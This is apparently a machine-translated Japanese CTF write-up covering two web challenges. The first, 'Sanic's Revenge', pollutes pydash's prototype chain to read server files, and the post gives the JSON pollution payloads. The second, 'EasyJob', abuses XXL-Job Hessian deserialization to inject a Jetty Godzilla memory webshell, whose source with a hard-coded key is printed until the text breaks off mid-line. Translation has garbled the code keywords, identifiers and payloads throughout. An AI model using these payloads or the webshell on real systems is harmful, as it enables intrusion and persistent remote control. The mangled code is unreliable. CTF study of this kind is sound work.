web
タイトル:Sanic's Revenge
問題解決手順
最初に、与えられた添付ファイル:を参照してください
Sanic Import Sanicから
OSをインポートします
sanic.responseインポートテキスト、htmlから
sysをインポートします
ランダムをインポートします
pydashをインポートします
#pydash==5.1.2
#ここのソースコードは、管理者によって削除されたようです。私はそれに隠された大きな秘密があると聞いた
クラスPollute:
def __init __(self):
合格
app=sanic(__ name__)
app.static( '/static/'、 './static/')
@app.route( '/*** secret *********')
async def Secret(リクエスト):
secret='**********************'
テキストを返します( '私のルート名を見つけることができますか?'+秘密)
@app.route( '/'、methods=['get'、 'post']))
Async defインデックス(リクエスト):
return html(open( 'static/index.html')。read()))
@app.route( '/pollute'、methods=['get'、 'post']))
async def pollute(リクエスト):
key=request.json ['key']
value=request.json ['value']
キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合
汚染=汚染()
pydash.set_(汚染、キー、値)
テキストを返す(「成功」)
else:
log_dir=create_log_dir(6)
log_dir_bak=log_dir + '.'
log_file='/tmp/' + log_dir + '/access.log'
log_file_bak='/tmp/' + log_dir_bak + '/access.log.bak'
log='key:' + str(key) + '|' + 'value:' + str(value);
#ログファイルを生成します
os.system( 'mkdir /tmp /' + log_dir)
f:としてopen(log_file、 'w')
f.write(log)
#バックアップログファイル
os.system( 'mkdir /tmp /' + log_dir_bak)
f:としてopen(log_file_bak、 'w')
f.write(log)
RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')
__name__=='__main __' :の場合
app.run(host='0.0.0.0')
ソースコード:を分析します
/汚染ルートは、パラメーターキーと値を渡すことでプロトタイプチェーン汚染を実現できる汚染点pydash.set_を提供します。さらに、このルートはWAFも設定します。 WAFがトリガーされた場合、キーと値の値は /TMPディレクトリのファイルに書き込まれます
名前が不明なルートもあります。内部には秘密があると推測できますか?
プロンプトによると、ここのソースコードが完全ではないことがわかるため、完全なソースコードを取得する必要があります
ここでのエントリポイントは、プロトタイプチェーン汚染です。 file_or_directoryをルートディレクトリに汚染すると、ファイルの読み取りを実現できます。
次に、ソースコードファイル名を取得し、アクセス/static/proc/1/cmdline:にアクセスする方法を見つけます
次に、/start.sh:にアクセスします
ソースコード名:2q17a58t9f65y5i8.pyを取得します
/app/2q17a58t9f65y5i8.pyにアクセスして、完全なソースコード:を取得します
Sanic Import Sanicから
OSをインポートします
sanic.responseインポートテキスト、htmlから
sysをインポートします
ランダムをインポートします
pydashをインポートします
#pydash==5.1.2
#ソースコードは管理者によって削除されたようで、彼はそれに大きな秘密が隠されていると聞いた
クラスPollute:
def __init __(self):
合格
def create_log_dir(n):
ret=''
範囲(n):のiの場合
num=random.randint(0、9)
文字=chr(random.randint(97、122))
文字=chr(random.randint(65、90))
s=str(random.choice([num、letter、letter]))
ret +=s
Ret
app=sanic(__ name__)
app.static( '/static/'、 './static/')
@app.route( '/wa58a1qeq59857qqrppq')
async def Secret(リクエスト):
f:としてopen( '/h111int'、 'r')
ヒント=f.read()
テキストを返す(ヒント)
@app.route( '/'、methods=['get'、 'post']))
Async defインデックス(リクエスト):
return html(open( 'static/index.html')。read()))
@app.route( '/adminlook'、method=['get'])
async def adminlook(リクエスト):
#違法なログを見るためのエイジー管理者
log_dir=os.popen( 'ls /tmp -al')。read();
テキストを返す(log_dir)
@app.route( '/pollute'、methods=['get'、 'post']))
async def pollute(リクエスト):
key=request.json ['key']
value=request.json ['value']
キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合
汚染=汚染()
pydash.set_(汚染、キー、値)
テキストを返す(「成功」)
else:
log_dir=create_log_dir(6)
log_dir_bak=log_dir+'.'
log_file='/tmp/'+log_dir+'/access.log'
log_file_bak='/tmp/'+log_dir_bak+'/access.log.bak'
log='key:'+str(key)+'|'+'value:'+str(value);
#generate logファイル
os.system( 'mkdir /tmp /'+log_dir)
f:としてopen(log_file、 'w')
f.write(log)
#back up logファイル
os.system( 'mkdir /tmp /'+log_dir_bak)
f:としてopen(log_file_bak、 'w')
f.write(log)
RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')
__name__=='__main __' :の場合
app.run(host='0.0.0.0')
余分なルート:WA58A1QEQ59857QQRPPQを見ることができ、ヒントを得るために直接アクセスしてください。
flag in /appですが、彼の名前を見つける必要があります!
アプリディレクトリでファイル名を表示する方法を見つける
ここでは、フラグファイルがアプリディレクトリにあることを促されますが、フラグ名はわかりません
次に、アプリディレクトリにファイルをリストする方法を見つける必要があることは明らかです
また、adminlookルートを表示することができ、 /TMPディレクトリにファイルを表示でき、違法ログはこのディレクトリに記録されています。最初に違法記録を一度トリガーしてから、adminlookルート:にアクセスします
ここには2つのディレクトリがあり、そのうちの1つはバックアップディレクトリの名前であることがわかります。したがって、このディレクトリへのアクセスを使用して上部ディレクトリに移動できます。
{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keywords TMPディレクトリ、そしてベース値:を汚染します
{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keyword static/ddahj6 '}
また、ディレクトリ関数:を有効にすることを忘れないでください
{'key':' __ class __ \\\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\。
次に、にアクセスしてください
フラグ名を表示してから、 /app /45w698wqtsgqt1_flagにアクセスしてフラグを取得できます
タイトル:EasyJob
問題解決手順
添付ファイルによると、XXL-Job-Executorによるアクセスに対して不正である脆弱性であることが確認できます。次のリンクを参照してください。
https://github.com/threekiii/vulhub-reproduce/blob/master/xxl-job%20executor%20%E6%9c%AAA6%8E%88%E6%9D%83%E8%AEA%BF%E9%97%AE6A6%8歳8です
ただし、XXL-JOBバージョンは比較的古く、ヘシアンの脱派化によって引き起こされる必要があるバージョンであり、問題はインターネットから出ていないことがわかります。現時点では、メモリホースを打つことは避けられません。したがって、この質問の重要なポイントは、実際にWeb依存関係なしで桟橋の記憶馬を注入する方法です。
ハンドラーは次のようにxxljobに組み込まれています
//
//Intellijのアイデアによって.classファイルから再作成されたソースコード
//(fernflowerディセパイラーを搭載)
//
パッケージcom.xxl.job.core.rpc.netcom.jetty.server;
com.xxl.job.core.rpc.codec.rpcrequestをインポートします。
com.xxl.job.core.rpc.codec.rpcreSponseをインポートします。
com.xxl.job.core.rpc.netcom.netcomserverfactoryをインポートします。
com.xxl.job.core.rpc.serialize.hessianserializerをインポートします。
com.xxl.job.core.util.httpclientutilをインポートします。
java.io.ioexceptionをインポートします。
java.io.outputStreamをインポートします。
javax.servlet.servletexceptionをインポートします。
javax.servlet.http.httpservletrequestをインポートします。
javax.servlet.http.httpservletResponseをインポートします。
org.eclipse.jetty.server.requestをインポートします。
Import org.eclipse.jetty.server.handler.abstracthandler;
org.slf4j.loggerをインポートします。
org.slf4j.loggeractoryをインポートします。
Public Class JettyServerHandlerはAbstracthandlerを拡張します{
private static logger logger=loggerfactory.getLogger(jettyserverhandler.class);
public jettyserverhandler(){
}
public voidハンドル(String Target、Request Baserequest、httpservletRequestリクエスト、httpservletResponse応答)IoException、servletexception {
rpcreSponse rpcreSponse=this.doinvoke(request);
byte [] responsebytes=hessianserializer.serialize(rpcreSponse);
Response.setContentType( 'text/html; charset=utf-8');
Response.SetStatus(200);
baserequest.sethandled(true);
outputStream out=response.getOutputStream();
out.write(responsebytes);
out.flush();
}
private rpcreSponse doinvoke(httpservletrequestリクエスト){
rpcreSponse rpcreSponse;
試す {
byte [] requestbytes=httpclientutil.readbytes(request);
if(requestBytes!=null requestbytes.length!=0){
rpcrequest rpcrequest=(rpcrequest)hessianserializer.deserialize(requestbytes、rpcrequest.class);
rpcreSponse rpcreSponse=netcomserverfactory.invokeService(rpcrequest、(object)null);
RPCRESPONSEを返します。
} それ以外{
rpcreSponse=new rpcreSponse();
rpcreSponse.setError( 'rpcrequest byte [] is null');
RPCRESPONSEを返します。
}
} catch(例外var5){
logger.error(var5.getMessage()、var5);
rpcreSponse=new rpcreSponse();
rpcreSponse.setError( 'server-error:' + var5.getMessage());
RPCRESPONSEを返します。
}
}
}
Jettyhandler、私たちがする必要があるのは、まったく同じものを注入することだけです。ここに特定の詳細について何も言うことはありません、記憶は次のとおりです
パッケージcom.xxl.job.core;
org.eclipse.jetty.serverをインポート。*;
Import org.eclipse.jetty.server.handler.abstracthandler;
Import org.eclipse.jetty.server.handler.handlercollection;
sun.misc.unsafeをインポートします。
javax.crypto.cipherをインポートします。
javax.crypto.spec.secretkeyspecをインポートします。
javax.servlet.servletexceptionをインポートします。
javax.servlet.servletoutputStreamをインポートします。
javax.servlet.http.httpservletrequestをインポートします。
javax.servlet.http.httpservletResponseをインポートします。
java.io.ioexceptionをインポートします。
java.lang.ref.Referenceをインポートします。
java.lang.reflect.fieldをインポートします。
java.lang.reflt.methodをインポートします。
java.net.urlをインポートします。
java.net.urlclassloaderをインポートします。
Java.util.scannerをインポートします。
//著者:BOOGIPOP
パブリッククラスのjettygodzillamemshellはabstracthandlerを拡張します{
string xc='3c6e0b8a9c15224a'; //鍵
文字列pass='username';
文字列md5=md5(pass + xc);
クラスペイロード;
public static string md5(string s){
文字列ret=null;
試す {
java.security.messagedigest m;
m=java.security.messagedigest.getInstance( 'md5');
m.update(s.getbytes()、0、s.length());
ret=new java.math.biginteger(1、m.digest())。toString(16).touppercase();
} catch(例外e){
}
返品;
}
public jettygodzillamemshell(){
System.out.println(1);
}
public jettygodzillamemshell(int s){
System.out.println(2);
}
static {
試す {
httpconnection valuefield=getValueField();
HandLercollection Handler=(handLercollection)valuefield.gethttpchannel()。getServer()。gethandler();
フィールド変動whenrunning=handler.getClass()。getDeclaredField( '_ MutableWhenrunning');
MutableWhenrunning.setAcc
Recommended Comments